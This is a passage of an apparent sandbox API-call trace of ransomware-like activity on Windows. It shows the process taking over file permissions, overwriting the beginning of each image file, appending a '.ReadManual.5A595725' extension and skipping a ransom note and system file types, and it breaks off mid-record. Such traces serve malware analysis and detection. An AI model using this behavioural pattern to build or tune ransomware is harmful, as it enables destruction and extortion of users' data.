(lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.ReadManual.5A595725") returned 97 [0254.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37479601260) returned 1 [0254.127] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0254.127] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.128] GetLastError () returned 0x5 [0254.128] GetNamedSecurityInfoW () returned 0x0 [0254.128] SetNamedSecurityInfoW () returned 0x0 [0254.128] SetNamedSecurityInfoW () returned 0x0 [0254.129] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.129] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6440) returned 1 [0254.129] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1928, lpName=0x0) returned 0x1a0 [0254.129] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0254.129] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.130] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.131] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.131] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1928) returned 0x2f0000 [0254.131] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37480014910) returned 1 [0254.131] CloseHandle (hObject=0x1a0) returned 1 [0254.131] SetSecurityInfo () returned 0x5 [0254.132] SetSecurityInfo () returned 0x5 [0254.132] LocalFree (hMem=0x674d38) returned 0x0 [0254.132] CloseHandle (hObject=0x184) returned 1 [0254.132] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0254.132] lstrcpyW (in: lpString1=0x6ab912, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0254.132] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0254.132] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.132] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.132] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.132] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.132] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.133] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.133] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.133] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.133] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.133] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" [0254.133] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ReadManual.5A595725" [0254.133] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.ReadManual.5A595725") returned 91 [0254.133] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37480168655) returned 1 [0254.133] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0254.133] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.133] GetLastError () returned 0x5 [0254.133] GetNamedSecurityInfoW () returned 0x0 [0254.134] SetNamedSecurityInfoW () returned 0x0 [0254.134] SetNamedSecurityInfoW () returned 0x0 [0254.134] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.135] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0254.135] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0254.135] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0254.135] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.135] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.137] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.137] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0254.137] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.137] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37480575783) returned 1 [0254.137] CloseHandle (hObject=0x1a0) returned 1 [0254.137] SetSecurityInfo () returned 0x5 [0254.137] SetSecurityInfo () returned 0x5 [0254.137] LocalFree (hMem=0x674d38) returned 0x0 [0254.137] CloseHandle (hObject=0x184) returned 1 [0254.137] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0254.137] lstrcpyW (in: lpString1=0x6ab912, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png" [0254.137] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.137] StrStrIW (lpFirst="720x480icongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.137] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.137] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.138] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.138] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.138] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.138] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.138] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.138] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" [0254.138] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ReadManual.5A595725" [0254.138] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.ReadManual.5A595725") returned 101 [0254.138] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37480673734) returned 1 [0254.138] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0254.138] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.138] GetLastError () returned 0x5 [0254.138] GetNamedSecurityInfoW () returned 0x0 [0254.138] SetNamedSecurityInfoW () returned 0x0 [0254.139] SetNamedSecurityInfoW () returned 0x0 [0254.139] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.140] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5620) returned 1 [0254.140] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f4, lpName=0x0) returned 0x1a0 [0254.140] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.140] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.140] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.142] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.142] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f4) returned 0x2f0000 [0254.142] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37481109410) returned 1 [0254.142] CloseHandle (hObject=0x1a0) returned 1 [0254.142] SetSecurityInfo () returned 0x5 [0254.142] SetSecurityInfo () returned 0x5 [0254.143] LocalFree (hMem=0x674d38) returned 0x0 [0254.143] CloseHandle (hObject=0x184) returned 1 [0254.143] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.143] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0254.143] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.143] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.143] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.143] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.143] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.143] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.143] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.143] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.143] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.144] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.144] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.144] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.144] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.144] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.144] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.144] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.144] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" [0254.144] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.144] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 111 [0254.144] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37481259133) returned 1 [0254.144] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0254.144] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.144] GetLastError () returned 0x5 [0254.144] GetNamedSecurityInfoW () returned 0x0 [0254.144] SetNamedSecurityInfoW () returned 0x0 [0254.145] SetNamedSecurityInfoW () returned 0x0 [0254.146] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.146] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0254.146] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0254.146] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0254.146] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.147] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.150] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.150] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0254.150] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.150] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37481894739) returned 1 [0254.150] CloseHandle (hObject=0x1a0) returned 1 [0254.150] SetSecurityInfo () returned 0x5 [0254.150] SetSecurityInfo () returned 0x5 [0254.150] LocalFree (hMem=0x674d38) returned 0x0 [0254.150] CloseHandle (hObject=0x184) returned 1 [0254.151] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.151] lstrcpyW (in: lpString1=0x6ab912, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0254.151] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.151] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.151] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.151] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.151] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.151] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.151] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.151] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.151] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" [0254.151] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.151] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 117 [0254.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37481989304) returned 1 [0254.151] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.151] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.151] GetLastError () returned 0x5 [0254.151] GetNamedSecurityInfoW () returned 0x0 [0254.152] SetNamedSecurityInfoW () returned 0x0 [0254.152] SetNamedSecurityInfoW () returned 0x0 [0254.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.153] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0254.153] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0254.153] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xfa) returned 1 [0254.153] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.153] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.155] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.155] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0254.155] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.155] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37482402485) returned 1 [0254.155] CloseHandle (hObject=0x1a0) returned 1 [0254.155] SetSecurityInfo () returned 0x5 [0254.155] SetSecurityInfo () returned 0x5 [0254.155] LocalFree (hMem=0x674d38) returned 0x0 [0254.155] CloseHandle (hObject=0x184) returned 1 [0254.156] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, 